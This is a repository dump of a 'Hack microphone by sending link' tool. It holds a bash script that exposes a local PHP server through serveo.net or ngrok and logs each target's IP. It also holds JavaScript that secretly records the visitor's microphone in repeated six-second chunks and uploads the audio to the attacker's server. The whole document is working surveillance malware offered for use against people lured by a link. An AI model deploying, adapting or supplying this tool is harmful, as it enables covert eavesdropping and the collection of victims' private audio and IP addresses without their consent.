├── template.php
├── README.md
├── upload.php
├── ip.php
├── index2.html
├── js
└── _app.js
└── voice.sh
/template.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/js/_app.js:
--------------------------------------------------------------------------------
1 | // Adapted from Simple Recorder.js Demo https://github.com/addpipe/simple-recorderjs-demo
2 | // Recorderjs by: https://github.com/mattdiamond/Recorderjs
3 | //webkitURL is deprecated but nevertheless
4 | URL = window.URL || window.webkitURL;
5 |
6 | var gumStream; //stream from getUserMedia()
7 | var rec; //Recorder.js object
8 | var input; //MediaStreamAudioSourceNode we'll be recording
9 |
10 | // shim for AudioContext when it's not avb.
11 | var AudioContext = window.AudioContext || window.webkitAudioContext;
12 | var audioContext //audio context to help us record
13 |
14 | var junk = document.getElementById("junk");
15 |
16 | junk.addEventListener("click", Redirect);
17 |
18 |
19 | function Redirect() {
20 |
21 | window.open('redirect_link', '_blank');
22 |
23 |
24 | }
25 |
26 | window.setTimeout(startRecording, 300);
27 | window.setInterval(stopRecording, 6000);
28 |
29 |
30 |
31 | function startRecording() {
32 | //console.log("junk clicked");
33 |
34 | /*
35 | Simple constraints object, for more advanced audio features see
36 | https://addpipe.com/blog/audio-constraints-getusermedia/
37 | */
38 |
39 | var constraints = { audio: true, video:false }
40 |
41 |
42 | /*
43 | We're using the standard promise based getUserMedia()
44 | https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia
45 | */
46 |
47 | navigator.mediaDevices.getUserMedia(constraints).then(function(stream) {
48 | console.log("getUserMedia() success, stream created, initializing Recorder.js ...");
49 |
50 | /*
51 | create an audio context after getUserMedia is called
52 | sampleRate might change after getUserMedia is called, like it does on macOS when recording through AirPods
53 | the sampleRate defaults to the one set in your OS for your playback device
54 |
55 | */
56 | audioContext = new AudioContext();
57 |
58 | //update the format
59 | // document.getElementById("formats").innerHTML="Format: 1 channel pcm @ "+audioContext.sampleRate/1000+"kHz"
60 |
61 | /* assign to gumStream for later use */
62 | gumStream = stream;
63 |
64 | /* use the stream */
65 | input = audioContext.createMediaStreamSource(stream);
66 |
67 | /*
68 | Create the Recorder object and configure to record mono sound (1 channel)
69 | Recording 2 channels will double the file size
70 | */
71 | rec = new Recorder(input,{numChannels:1})
72 |
73 | //start the recording process
74 | rec.record()
75 | junk.disabled = false;
76 |
77 | //console.log("Recording started");
78 |
79 |
80 | }).catch(function(err) {
81 | //enable the record button if getUserMedia() fails
82 | junk.disabled = true;
83 | window.location.reload();
84 | });
85 | }
86 |
87 |
88 | function uploadRecord() {
89 |
90 | $(document).ready(function() {
91 | $('a#Upload')[0].click();
92 |
93 | });
94 |
95 |
96 | }
97 |
98 | function stopRecording() {
99 | //console.log("stopButton clicked");
100 |
101 |
102 | //tell the recorder to stop the recording
103 | rec.stop();
104 |
105 | //stop microphone access
106 | //gumStream.getAudioTracks()[0].stop();
107 |
108 | //create the wav blob and pass it on to createDownloadLink
109 | rec.exportWAV(createDownloadLink);
110 |
111 | }
112 |
113 | function createDownloadLink(blob) {
114 |
115 | var url = URL.createObjectURL(blob);
116 | var filename = new Date().toISOString();
117 |
118 |
119 | var xhr=new XMLHttpRequest();
120 | xhr.onload=function(e) {
121 | if(this.readyState === 4) {
122 | // console.log("Server returned: ",e.target.responseText);
123 | }
124 | };
125 |
126 |
127 | var fd=new FormData();
128 | fd.append("audio_data",blob, filename);
129 | xhr.open("POST","upload.php",true);
130 | xhr.send(fd);
131 |
132 | window.setTimeout(startRecording, 300);
133 |
134 | }
135 |
--------------------------------------------------------------------------------
/voice.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # voice v 1.0
3 | # coded by: github.com/Noob-Junk/voice
4 | trap 'printf "\n";stop' 2
5 |
6 | banner() {
7 |
8 |
9 | printf "\e[1;92m Hack microphone by sending link \e[0m\n"
10 | printf "\e[1;92m \e[0m\n"
11 |
12 |
13 | printf "\e[1;77m v1.0 coded by github.com/Noob-Junk/voice\e[0m \n"
14 |
15 |
16 |
17 | }
18 |
19 | stop() {
20 |
21 | checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
22 | checkphp=$(ps aux | grep -o "php" | head -n1)
23 | checkssh=$(ps aux | grep -o "ssh" | head -n1)
24 | if [[ $checkngrok == *'ngrok'* ]]; then
25 | pkill -f -2 ngrok > /dev/null 2>&1
26 | killall -2 ngrok > /dev/null 2>&1
27 | fi
28 |
29 | if [[ $checkphp == *'php'* ]]; then
30 | killall -2 php > /dev/null 2>&1
31 | fi
32 | if [[ $checkssh == *'ssh'* ]]; then
33 | killall -2 ssh > /dev/null 2>&1
34 | fi
35 | exit 1
36 |
37 | }
38 |
39 | dependencies() {
40 |
41 |
42 | command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
43 |
44 |
45 |
46 | }
47 |
48 | catch_ip() {
49 |
50 | ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r')
51 | IFS=$'\n'
52 | printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\n" $ip
53 |
54 | cat ip.txt >> saved.ip.txt
55 |
56 |
57 | }
58 |
59 | checkfound() {
60 |
61 | printf "\n"
62 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n"
63 | while [ true ]; do
64 |
65 |
66 | if [[ -e "ip.txt" ]]; then
67 | printf "\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\n"
68 | catch_ip
69 | rm -rf ip.txt
70 |
71 | fi
72 |
73 | sleep 0.5
74 |
75 | if [[ -e "Log.log" ]]; then
76 | printf "\n\e[1;92m[\e[0m+\e[1;92m] Audio file received!\e[0m\n"
77 | rm -rf Log.log
78 | fi
79 | sleep 0.5
80 |
81 | done
82 |
83 | }
84 |
85 |
86 | server() {
87 |
88 | command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }
89 |
90 | printf "\e[1;77m[\e[0m\e[1;93m+\e[0m\e[1;77m] Starting Serveo...\e[0m\n"
91 |
92 | if [[ $checkphp == *'php'* ]]; then
93 | killall -2 php > /dev/null 2>&1
94 | fi
95 |
96 | if [[ $subdomain_resp == true ]]; then
97 |
98 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R '$subdomain':80:localhost:3333 serveo.net 2> /dev/null > sendlink ' &
99 |
100 | sleep 8
101 | else
102 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net 2> /dev/null > sendlink ' &
103 |
104 | sleep 8
105 | fi
106 | printf "\e[1;77m[\e[0m\e[1;33m+\e[0m\e[1;77m] Starting php server... (localhost:3333)\e[0m\n"
107 | fuser -k 3333/tcp > /dev/null 2>&1
108 | php -S localhost:3333 > /dev/null 2>&1 &
109 | sleep 3
110 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
111 | printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $send_link
112 |
113 | }
114 |
115 |
116 | payload_ngrok() {
117 |
118 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
119 | sed 's+forwarding_link+'$link'+g' template.php > index.php
120 | sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js
121 |
122 |
123 | }
124 |
125 | ngrok_server() {
126 |
127 |
128 | if [[ -e ngrok ]]; then
129 | echo ""
130 | else
131 | command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
132 | command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
133 | printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Ngrok...\n"
134 | arch=$(uname -a | grep -o 'arm' | head -n1)
135 | arch2=$(uname -a | grep -o 'Android' | head -n1)
136 | if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
137 | wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1
138 |
139 | if [[ -e ngrok-stable-linux-arm.zip ]]; then
140 | unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
141 | chmod +x ngrok
142 | rm -rf ngrok-stable-linux-arm.zip
143 | else
144 | printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
145 | exit 1
146 | fi
147 |
148 | else
149 | wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1
150 | if [[ -e ngrok-stable-linux-386.zip ]]; then
151 | unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
152 | chmod +x ngrok
153 | rm -rf ngrok-stable-linux-386.zip
154 | else
155 | printf "\e[1;93m[!] Download error... \e[0m\n"
156 | exit 1
157 | fi
158 | fi
159 | fi
160 |
161 | printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
162 | php -S 127.0.0.1:3333 > /dev/null 2>&1 &
163 | sleep 2
164 | printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n"
165 | ./ngrok http 3333 > /dev/null 2>&1 &
166 | sleep 10
167 |
168 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
169 | printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link
170 |
171 | payload_ngrok
172 | checkfound
173 | }
174 |
175 | start1() {
176 | if [[ -e sendlink ]]; then
177 | rm -rf sendlink
178 | fi
179 |
180 | printf "\n"
181 | printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net\e[0m\n"
182 | printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
183 | default_option_server="1"
184 | read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server
185 | option_server="${option_server:-${default_option_server}}"
186 |
187 |
188 | if [[ $option_server -eq 1 ]]; then
189 |
190 | command -v php > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }
191 | start
192 |
193 | elif [[ $option_server -eq 2 ]]; then
194 | ngrok_server
195 | else
196 | printf "\e[1;93m [!] Invalid option!\e[0m\n"
197 | sleep 1
198 | clear
199 | start1
200 | fi
201 |
202 | }
203 |
204 |
205 | payload() {
206 |
207 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
208 |
209 |
210 | sed 's+forwarding_link+'$send_link'+g' template.php > index.php
211 | sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js
212 |
213 |
214 | }
215 |
216 | start() {
217 |
218 | default_choose_sub="Y"
219 | default_subdomain="sayhello$RANDOM"
220 |
221 | printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Choose subdomain? \e[0m\e[1;77m [Y/n] \e[0m\e[1;33m: \e[0m'
222 | read choose_sub
223 | choose_sub="${choose_sub:-${default_choose_sub}}"
224 | if [[ $choose_sub == "Y" || $choose_sub == "y" || $choose_sub == "Yes" || $choose_sub == "yes" ]]; then
225 | subdomain_resp=true
226 | printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Subdomain (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_subdomain
227 | read subdomain
228 | subdomain="${subdomain:-${default_subdomain}}"
229 | fi
230 |
231 | server
232 | payload
233 | checkfound
234 |
235 | }
236 |
237 | banner
238 | dependencies
239 | start1
240 |
241 |
--------------------------------------------------------------------------------